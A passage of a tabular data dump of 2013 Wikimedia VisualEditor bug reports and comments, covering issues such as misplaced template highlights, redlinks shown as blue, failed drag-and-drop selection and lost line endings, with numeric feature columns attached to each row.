| products       = [[Crash Bandicoot|''Crash Bandicoot'' series]] (2002-2004) (2013- )<br>[[Skylanders|''Skylanders'' series]] (2011-2013) Guitar Hero
...
}}
splitting the foundation and product parameters.",,,1373361466,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-3ngsdaq55c6cqyub75es,task_subcomment,,True,c1,3,False,,,1,,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,2.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,3.6666666666666665,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.0,13.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,2.0,0.3333333333333333,6.333333333333333,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,4.666666666666667,0.0,0.3333333333333333,3.6666666666666665,7.666666666666667,0.0,1.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,1.0,0.0,0.0,7.0,4.450704225352113,0.6666666666666666,"Some broken browser extension sometimes adds lots of  <a class=""ktg6us78hf8vdu7"" href=""javascript:void(0)"">...</a> tags around items which is tracked by and edit filter. Attempting to clean these up with the VE worked well in the main text but failed in the templates changing

{{Infobox company
...
| foundation     = [[1990 in <a class=""ktg6us78hf8vdu7"" href=""javascript:void(0)""><a class=""ktg6us78hf8vdu7"" href=""javascript:void(0)"">video</a></a> gaming|1990]]
| products       = [[Crash Bandicoot|''Crash Bandicoot'' series]] (2002-2004) (2013- )<br>[[Skylanders|''Skylanders'' series]] (2011-2013)0)"">Guitar</a></a> Hero|''Guitar Hero'' series]] (2007–2010) 
...
}}

Into
{{Infobox company
|<nowiki>1990]]</nowiki>
|''Guitar Hero''<nowiki> series]] (2007–2010) </nowiki>
...
| foundation     = <nowiki>[[1990 in video gaming</nowiki>
| products       = [[Crash Bandicoot|''Crash Bandicoot'' series]] (2002-2004) (2013- )<br>[[Skylanders|''Skylanders'' series]] (2011-2013) Guitar Hero
...
}}
splitting the foundation and product parameters."
52991,VisualEditor: Template highlight is sometimes misplaced in the reference inspector,"There appears to be an elusive bug in the references editor where, when a reference contains a template, the blue highlight surrounding the template in the reference is sometimes misplaced outside the references editor and therefore not usable. 

I've seen this myself a couple of times (in Chrome/Ubuntu), and it usually just stopped happening after a while and I'm not able to repro it now, so it may be some kind of timing issue. Robert Rohde also reported this today (July 8) and provided a screenshot of the bug here:

https://upload.wikimedia.org/wikipedia/en/5/5f/Bad_Ref_Edit.png

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373330760,1373351191.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-yvxmfw4svpxfoy2mq3xe,task_description,resolved,True,c1,3,False,False,True,1,,1.0,0.0,0.0,0.5,1.5,4.0,1.5,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.5,2.0,0.5,6.5,7.0,0.0,1.5,0.0,1.0,0.0,2.0,0.0,0.0,0.5,1.0,0.0,0.5,3.0,0.5,2.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.5,0.0,0.5,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,7.0,2.0,7.5,2.0,2.5,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,7.0,3.5,0.0,0.0,0.0,4.0,0.0,1.0,3.5,0.5,1.5,0.0,0.0,0.0,4.076804915514593,0.7599846390168971,"There appears to be an elusive bug in the references editor where, when a reference contains a template, the blue highlight surrounding the template in the reference is sometimes misplaced outside the references editor and therefore not usable. 

I've seen this myself a couple of times (in Chrome/Ubuntu), and it usually just stopped happening after a while and I'm not able to repro it now, so it may be some kind of timing issue. Robert Rohde also reported this today (July 8) and provided a screenshot of the bug here:

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
246993,VisualEditor: Template highlight is sometimes misplaced in the reference inspector,"

*** This bug has been marked as a duplicate of bug 50913 ***",,,1373351191,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-yvxmfw4svpxfoy2mq3xe,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50913 ***"
52986,"VisualEditor should not encourage links of little relevance (e.g. disambiguation pages, already used links, etc..)","1) Open an article such as
https://en.wikipedia.org/wiki/Convex_function?veaction=edit
2) Click in a non-linked word ""function""
3) Click in the link button (CTRL+K)

The list of matching pages will include the disambiguation page ""[[Function]]"", which should actually be avoided.

Similarly, if a paragraph already has a link to [[Function]], then it should not appear in a second atempt to add the same link (or there should be some visual indication that this kind of link is not desirable - e.g. by having a section in the dropdown menu labeled ""Already used links..."")

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50160",Needs Triage,90.0,1373324220,1486157050.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-atyu2v5fwwehteymmmkf,task_description,duplicate,True,c1,3,False,False,False,1,,0.5,0.0,0.0,0.5,1.5,6.0,1.5,0.0,0.0,0.5,4.0,0.0,0.0,0.0,0.5,0.0,0.0,5.5,7.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,0.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.5,0.0,0.0,11.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,8.5,1.0,0.5,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,0.5,7.0,1.0,0.0,3.5,0.0,0.5,0.0,0.5,3.5,0.0,0.5,0.0,0.0,3.0,3.451491228070175,0.6887719298245614,"1) Open an article such as
URL
2) Click in a non-linked word ""function""
3) Click in the link button (CTRL+K)

The list of matching pages will include the disambiguation page ""[[Function]]"", which should actually be avoided.

Similarly, if a paragraph already has a link to [[Function]], then it should not appear in a second atempt to add the same link (or there should be some visual indication that this kind of link is not desirable - e.g. by having a section in the dropdown menu labeled ""Already used links..."")

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
246781,"VisualEditor should not encourage links of little relevance (e.g. disambiguation pages, already used links, etc..)","This is a duplicate of bug 50240; yes, this would be a nice enhancement to get done soon.

*** This bug has been marked as a duplicate of bug 50240 ***",,,1373472822,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-atyu2v5fwwehteymmmkf,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,5.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,3.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.128205128205128,0.6666666666666666,"This is a duplicate of bug 50240; yes, this would be a nice enhancement to get done soon.

*** This bug has been marked as a duplicate of bug 50240 ***"
246779,"VisualEditor should not encourage links of little relevance (e.g. disambiguation pages, already used links, etc..)",See also gerrit change 70564.,,,1373469016,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-atyu2v5fwwehteymmmkf,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,1.0,See also gerrit change 70564.
246776,"VisualEditor should not encourage links of little relevance (e.g. disambiguation pages, already used links, etc..)","PS: this was inspired by the commit message of
https://gerrit.wikimedia.org/r/#/c/72646/",,,1373325997,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-atyu2v5fwwehteymmmkf,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"PS: this was inspired by the commit message of
URL"
52977,Selecting text does not work,"How to reproduce:
* Go to https://www.mediawiki.org/wiki/Extension:TimedMediaHandler/Client_download?veaction=edit
* Set the caret behind ""supported by the Timed Media Handler extension""
* Try to drag and drop ""Support for Ogg Theora and WebM"" directy to where you have set the caret.

Current behaviour:
* Selecting not possible (Dropping mode starts immediately like if something is selected but the caret suggests that nothing was selected)

Expected behaviour:
* I can select ""Support for Ogg Theora and WebM""

----
You receive this bug's description kindly in English.
Rainer Rillke

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1373316060,1377831826.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-xbi4z4qhqpsbwxzbb7j2,task_description,resolved,True,c1,3,False,False,True,1,,0.0,1.0,0.0,1.5,0.5,2.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.5,6.0,1.5,1.0,0.0,0.0,0.5,1.0,2.0,0.0,0.5,1.0,0.0,0.0,3.5,1.0,0.0,1.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,1.0,8.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.5,17.0,2.5,2.5,3.0,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,2.0,6.0,8.0,0.0,3.5,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.9304315476190474,0.7243303571428572,"How to reproduce:
* Go to URL
* Set the caret behind ""supported by the Timed Media Handler extension""
* Try to drag and drop ""Support for Ogg Theora and WebM"" directy to where you have set the caret.

Current behaviour:
* Selecting not possible (Dropping mode starts immediately like if something is selected but the caret suggests that nothing was selected)

Expected behaviour:
* I can select ""Support for Ogg Theora and WebM""

----
You receive this bug's description kindly in English.
Rainer Rillke

--------------------------
**Version**: unspecified
**Severity**: major"
246291,Selecting text does not work,"Hey, sorry for the confusion; merging with bug 50643 which is about disabling Firefox's misleading interface.

*** This bug has been marked as a duplicate of bug 50643 ***",,,1377831826,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xbi4z4qhqpsbwxzbb7j2,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,3.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,8.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,0.0,3.789473684210526,0.7894736842105263,"Hey, sorry for the confusion; merging with bug 50643 which is about disabling Firefox's misleading interface.

*** This bug has been marked as a duplicate of bug 50643 ***"
246288,Selecting text does not work,Selecting text works at the page you provided but drag and drop does not work.,,,1373317925,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-xbi4z4qhqpsbwxzbb7j2,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,1.0,Selecting text works at the page you provided but drag and drop does not work.
246283,Selecting text does not work,"(In reply to comment #3)
> try it on another page like
Selecting text work at the page your provided but drag and drop does not work.
----
You receive this bug's description kindly in English.
Rainer Rillke",,,1373317893,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-xbi4z4qhqpsbwxzbb7j2,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,5.0,9.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.627906976744186,0.8604651162790697,"(In reply to comment #3)
QUOTE
Selecting text work at the page your provided but drag and drop does not work.
----
You receive this bug's description kindly in English.
Rainer Rillke"
246277,Selecting text does not work,"(In reply to comment #3)
I tried editing 2 pages on MediaWiki wiki so far and it did not work as I expected. If it can't deal with <translate> tags, it must be disabled on these pages. Thank you.",,,1373317502,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-xbi4z4qhqpsbwxzbb7j2,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,8.0,14.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,6.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,10.0,0.0,4.0,0.0,12.0,14.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,3.16,0.86,"(In reply to comment #3)
I tried editing 2 pages on MediaWiki wiki so far and it did not work as I expected. If it can't deal with <translate> tags, it must be disabled on these pages. Thank you."
246272,Selecting text does not work,"It seems related to the <translate> tag, try it on another page like https://www.mediawiki.org/wiki/VisualEditor/Basic_example_worksheet",,,1373316358,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xbi4z4qhqpsbwxzbb7j2,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.4705882352941178,1.0,"It seems related to the <translate> tag, try it on another page like URL"
246269,Selecting text does not work,"As selecting text is a basic operation, bumping to a major issue.",,,1373316165,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-xbi4z4qhqpsbwxzbb7j2,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,3.857142857142857,0.9285714285714286,"As selecting text is a basic operation, bumping to a major issue."
246265,Selecting text does not work,FF 22,,,1373316086,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-xbi4z4qhqpsbwxzbb7j2,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,FF 22
52975,Please turn off VisualEditor as long as it doesn't work,"There are so many things that do not work, I suggest to test the software better before deploying. I will open a second ticket for a new recent issue.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373315640,1373363212.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-ovg5r2xmn4fehf7ofjhg,task_description,declined,True,c1,3,False,False,True,1,,2.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,6.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,10.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,2.0,2.0,0.0,0.0,3.88,0.76,"There are so many things that do not work, I suggest to test the software better before deploying. I will open a second ticket for a new recent issue.

--------------------------
**Version**: unspecified
**Severity**: normal"
246148,Please turn off VisualEditor as long as it doesn't work,"> especially as you are not forced to use it.
If a button (""Edit"") that previously did something else, now shows VE, it is ""forcing"" IMHO.

I think VE will be a great tool but as with UploasWizard please understand the community is not a playground.",,,1373363951,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-ovg5r2xmn4fehf7ofjhg,task_subcomment,,True,c1,3,False,,,1,,0.0,2.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,8.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,16.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,6.0,10.0,0.0,8.0,0.0,4.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,3.5714285714285716,0.8163265306122449,"QUOTE
If a button (""Edit"") that previously did something else, now shows VE, it is ""forcing"" IMHO.

I think VE will be a great tool but as with UploasWizard please understand the community is not a playground."
246143,Please turn off VisualEditor as long as it doesn't work,"(In reply to comment #0)
> There are so many things that do not work

I cannot elaborate on the deployment schedule here, but I'm pretty sure that it's been explained on https://www.mediawiki.org/wiki/VisualEditor/Feedback recently, as you're not the only person with that impression. :)

I suggest to test the software better before deploying.

See above - testing has taken place for months.

There are no plans to turn VE off currently, especially as you are not forced to use it.",,,1373363212,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ovg5r2xmn4fehf7ofjhg,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,1.0,1.0,3.0,0.0,11.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,8.0,1.0,2.0,4.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,1.0,1.0,6.0,0.0,1.0,0.0,1.0,7.0,0.0,1.0,0.0,8.0,16.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.6777777777777776,0.7444444444444445,"(In reply to comment #0)
QUOTE

I cannot elaborate on the deployment schedule here, but I'm pretty sure that it's been explained on URL recently, as you're not the only person with that impression. :)

I suggest to test the software better before deploying.

See above - testing has taken place for months.

There are no plans to turn VE off currently, especially as you are not forced to use it."
52974,Redlinks show up as bluelinks in VisualEditor mode,"If there is a link to an non-existent article or page it shows up in red when viewing a page.  When you click to edit with VisualEditor, the redlink shows up as blue which makes it appear that it is linking to a page that has already been created. 

For example, in my sandbox I created a link to the non-existent page ""testinggg"" using [[testinggg]] in source.  After saving the page I returned to the sandbox and saw the link in red.  I clicked to edit the page with VisualEditor, and the link turned blue.  It should remain red if the page has not yet been created.  You can try this for yourself in my sandbox:

https://en.wikipedia.org/wiki/User:Keegan_(WMF)/Sandbox

This may be a Parsoid issue?

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373314500,1373353929.0,PHID-USER-fwlidikyeorzj35hufwu,False,,False,PHID-TASK-bhshtaaxwx36iiznlkm2,task_description,resolved,True,c1,3,False,False,True,1,,0.0,0.0,0.0,1.0,0.5,6.0,0.5,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.5,3.0,0.0,2.5,11.5,0.0,1.0,0.5,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.5,2.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,12.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.5,2.5,9.0,2.5,1.5,9.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,6.5,11.5,2.5,0.5,1.0,0.0,6.5,0.0,2.0,3.0,0.5,2.0,0.0,0.0,1.5,3.5352941176470587,0.6411764705882352,"If there is a link to an non-existent article or page it shows up in red when viewing a page.  When you click to edit with VisualEditor, the redlink shows up as blue which makes it appear that it is linking to a page that has already been created. 

For example, in my sandbox I created a link to the non-existent page ""testinggg"" using [[testinggg]] in source.  After saving the page I returned to the sandbox and saw the link in red.  I clicked to edit the page with VisualEditor, and the link turned blue.  It should remain red if the page has not yet been created.  You can try this for yourself in my sandbox:

URL

This may be a Parsoid issue?

--------------------------
**Version**: unspecified
**Severity**: normal"
246102,Redlinks show up as bluelinks in VisualEditor mode,"

*** This bug has been marked as a duplicate of bug 37901 ***",,,1373353929,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bhshtaaxwx36iiznlkm2,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 37901 ***"
52946,VisualEditor: line endings are not preserved when copying from a text file,"I tried to copy text from a plain text file (in the Kate editor). The line endings were not preserved and the whole text was copied as one big paragraph.

You can see an example here:
https://www.mediawiki.org/w/index.php?title=Language_portal/Definition_of_Done&oldid=726988

It's the first version of a page that I created in the VisualEditor. I formatted the first few lines manually, but left the blob in the end as is.

--------------------------
**Version**: unspecified
